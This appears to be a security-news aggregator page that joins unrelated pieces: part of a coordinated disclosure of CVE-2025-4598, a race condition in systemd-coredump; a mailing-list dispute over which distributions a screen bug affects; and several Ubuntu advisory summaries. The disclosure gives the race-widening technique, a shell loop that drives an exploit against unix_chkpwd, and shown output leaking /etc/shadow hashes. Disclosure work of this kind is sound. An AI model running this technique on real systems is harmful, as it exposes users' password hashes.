While working on Ubuntu's apport, we remembered that various other distributions (Red Hat Enterprise Linux 9 and Fedora for example) use systemd-coredump as a core-dump handler in /proc/sys/kernel/corepattern (instead of apport). We began to wonder: how does systemd-coredump solve the kill-and-replace race condition that we exploited against apport?

Similarly to apport, systemd-coredump writes all core files into a hard-coded directory, /var/lib/systemd/coredump/. Before December 2022, systemd-coredump allowed users to read all of their core files (through file ACLs), including the core files of SUID or SGID programs, which of course allowed local attackers to read the contents of /etc/shadow by simply crashing su for example; this vulnerability was CVE-2022-4415, discovered and published by Matthias Gerstner:

https://www.openwall.com/lists/oss-security/2022/12/21/3

This old vulnerability was patched by introducing a new function, grantuseraccess(), which decides whether a user should be allowed to read a core file or not, by analyzing the /proc/pid/auxv of the crashed process: if its ATUID and ATEUID match, and if its ATGID and ATEGID match, and if its ATSECURE flag is 0, then read access is allowed; otherwise (if the crashed process is SUID or SGID), read access is denied (only root can read the core file).

------------------------------------------------------------------------ Analysis ------------------------------------------------------------------------

Unfortunately, we soon realized that systemd-coredump does not provide any protection at all against the kill-and-replace race condition that we exploited in apport. In other words, an attacker can simply crash a SUID process such as unixchkpwd, SIGKILL and replace it with a non-SUID process (before its /proc/pid/auxv is analyzed by systemd-coredump), and therefore gain read access to the core file of the crashed SUID process, and hence to the contents of /etc/shadow.

On the one hand, exploiting systemd-coredump is easier than exploiting apport, because we do not need to replace the crashed SUID process with a namespaced process: we can replace it with any non-SUID process, whose ATUID and ATEUID match, whose ATGID and ATEGID match, and whose ATSECURE flag is 0.

On the other hand, winning the kill-and-replace race condition against systemd-coredump is harder: unlike apport, systemd-coredump is written in C, and its initialization takes little time. To widen the window of the race condition, we pass an argv[0] of 128K '\177' characters to the SUID process: this slows down the analysis of its /proc/pid/cmdline (by systemd-coredump, before the analysis of its /proc/pid/auxv) and gives us enough time to replace the crashed SUID process with a non-SUID process.

------------------------------------------------------------------------ Proof of concept ------------------------------------------------------------------------

$ grep PRETTYNAME= /etc/os-release PRETTYNAME="Fedora Linux 41 (Server Edition)"

$ id uid=1001(evey) gid=1001(evey) groups=1001(evey) context=unconfinedu:unconfinedr:unconfinedt:s0-s0:c0.c1023

$ while true; do pid="$(printf 'whatever\0' | ./CVE-2025-4598 /usr/sbin/unixchkpwd "$USER" nullok)"; pidwait -f /usr/lib/systemd/systemd-coredump; if coredumpctl -1 dump "$pid" 2>/dev/null | strings -a | grep '\$[0-9A-Za-z]\+\$[0-9A-Za-z./]'; then break; fi; done

... pid 364536 tid 364521 tid 364540 died in main: 177 theadmin:$y$j9T$APKdqQO.brzhEbC2JFd.5zb7$Rz2q.0umBr8AmkwlozWr8/yphm/ckEHIOMo9vcj.Wj/::0:99999:7::: evey:$y$j9T$QUW3HEErO9CYuGrRhiQjt.$.befySFW/nA48280u/Hk1XrcA2yDZ6Z1s7iRf91nJuA:20188:0:99999:7:::

======================================================================== Acknowledgments ========================================================================

We thank Ubuntu's security team and apport's developers (Octavio Galland and Benjamin Drung in particular), and systemd's developers (Zbigniew Jedrzejewski Szmek and Luca Boccassi in particular), for their hard work on this release. We also thank Red Hat Product Security (Marco Benatto in particular), and the linux-distros@openwall (Solar Designer, Seth Arnold, Salvatore Bonaccorso, David Fernandez Gonzalez, in particular), for their help with this release. Finally, we thank Christian Brauner for the %F/pidfd kernel feature.

======================================================================== Timeline ========================================================================

2025-03-21: We sent a draft of our advisory and a first proof of concept (against unixchkpwd) to Ubuntu's security team.

2025-04-10: We sent a draft of our advisory and a first proof of concept (against unixchkpwd) to systemd's developers.

2025-04-17: We sent a second proof of concept (against sshd) to systemd's developers.

2025-04-22: We sent a second proof of concept (which defeats apport's starttime check) to Ubuntu's security team and apport's developers.

2025-05-23: We sent a draft of our advisory to the linux-distros@openwall.

2025-05-29: Coordinated Release Date (16:00 UTC).

On 5/16/25 12:31 PM, Taylor R Campbell wrote: It is not nonsensical, and it is not the inconsequential pedantry you are suggesting. Please consider avoiding sarcastic disparagement when publicly discussing the factual matters of security reports.

The report says that NetBSD 10.1' is affected. This is not quite right, and it matters even if you set aside the fact that NetBSD 10.1 itself (which does ship tmux!) does not ship screen, because: NetBSD 10.1 (and earlier) is affected (if you use its package manager to install screen).

Arch Linux is affected (if you use its package manager to install screen).

Debian 12.10 (but this is not quite right!!!1!11!!!oneoneeleven. The same packages are available on e.g. Debian 13, 11, etc) is affected (if you use its package manager to install screen).

Ubuntu 24.04.10 (but this is not quite right!!!1!11!!!oneoneeleven. The same packages are available on e.g. Ubuntu 22.04, 24.10, 25.04, 25.10) is affected (if you use its package manager to install screen).

Gentoo (but this is not quite right!!!1!11!!!oneoneeleven. The same packages are available on e.g. macOS Prefix) is affected (if you use its package manager to install screen). (a) the same pkgsrc packages are available on, e.g., NetBSD 9.x (which is not EOL); and

(b) pkgsrc is used on platforms other than NetBSD, including macOS, SmartOS, and various Linux distributions (e.g., for unprivileged use on HPC clusters where it is more flexible and up-to-date than the Linux distribution's package manager).

That is why it would be more accurate for the report to say pkgsrc-2025Q1', not NetBSD 10.1'. I strongly dispute this. It should instead list both, as both are affected. (Again, b is the same distinction as "Gentoo, but also portage-20250508, are both affected".)

But the list of affected distributions wasn't complete, and likely wasn't intended to be. Nor was its list of distribution versions. It didn't list affected versions for Adelie, Alpine, CRUX, Exherbo, Guix, Homebrew, Mageia, Mandriva, Solus, Void Linux...

I'll reiterate that claiming NetBSD is "not affected" because "the base installation doesn't preinstall it" is nonsensical, and highly reminiscent of, erm, a different BSD that uses similar logic to conclude that "the base installation" does not need useless bloat such as TrustedBSD.

I encourage you to relax and stop feeling like the honor of NetBSD is at stake if you fail to prove that "NetBSD 10.1" was exempt from the same issue all other distributors had.

It's no embarrassment for an operating system to have the builtin capability to install software, you can just not treat it like an unwanted and uninvited guest tracking mud all over the kitchen that needs to be disavowed.

-- Eli Schwartz

USN-7490-1 fixed vulnerabilities in libsoup. It was discovered that the fix for CVE-2025-32912 was incomplete. This update fixes the problem. We apologize for the inconvenience. Original advisory details: Tan Wei Chong discovered that libsoup incorrectly handled memory when parsing HTTP request headers. An attacker could possibly use this issue to send a maliciously crafted HTTP request to the server, causing a denial of service. (CVE-2025-32906) Alon Zahavi discovered that libsoup incorrectly parsed video files. An attacker could possibly use this issue to send a maliciously crafted HTTP response back to the client, causing a denial of service, or leading to undefined behavior. (CVE-2025-32909) Jan Różański discovered that libsoup incorrectly handled memory when parsing authentication headers. An attacker could possibly use this issue to send a maliciously crafted HTTP response back to the client, causing a denial of service. (CVE-2025-32910, CVE-2025-32912) It was discovered that libsoup incorrectly handled data in the hash table data type. An attacker could possibly use this issue to send a maliciously crafted HTTP request to the server, causing a denial of service or remote code execution. (CVE-2025-32911) Jan Różański discovered that libsoup incorrectly handled memory when parsing the content disposition HTTP header. An attacker could possibly use this issue to send maliciously crafted data to a client or server, causing a denial of service. (CVE-2025-32913) Alon Zahavi discovered that libsoup incorrectly handled memory when parsing HTTP requests. An attacker could possibly use this issue to send a maliciously crafted HTTP request to the server, causing a denial of service or obtaining sensitive information. (CVE-2025-32914) It was discovered that libsoup incorrectly handled memory when parsing quality-list headers. An attacker could possibly use this issue to send a maliciously crafted HTTP request to the server, causing a denial of service. (CVE-2025-46420) Jan Różański discovered that libsoup did not strip authorization information upon redirects. An attacker could possibly use this issue to obtain sensitive information. (CVE-2025-46421)

First published (updated )
Advisory
USN-7490-2

It was discovered that Corosync incorrectly handled certain large UDP packets. If encryption is disabled, or an attacker knows the encryption key, this issue could be used to cause Corosync to crash, resulting in a denial of service.

First published (updated )
Advisory
USN-7478-1

It was discovered that c-ares incorrectly handled re-enqueuing certain queries. A remote attacker could possibly use this issue to cause c-ares to crash, resulting in a denial of service.

First published (updated )
Advisory
USN-7477-1

It was discovered that poppler did not properly verify adbe.pkcs7.sha1 signatures in PDF documents. An attacker could possibly use this issue to create documents with forged signatures that are treated as legitimately signed.

First published (updated )
Advisory
USN-7471-1

It was discovered that Jupyter Notebook did not properly parse HTML comments under certain circumstances. An attacker could possibly use this issue to cause a regular expression denial of service (ReDoS).

First published (updated )
Advisory
USN-7464-1

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203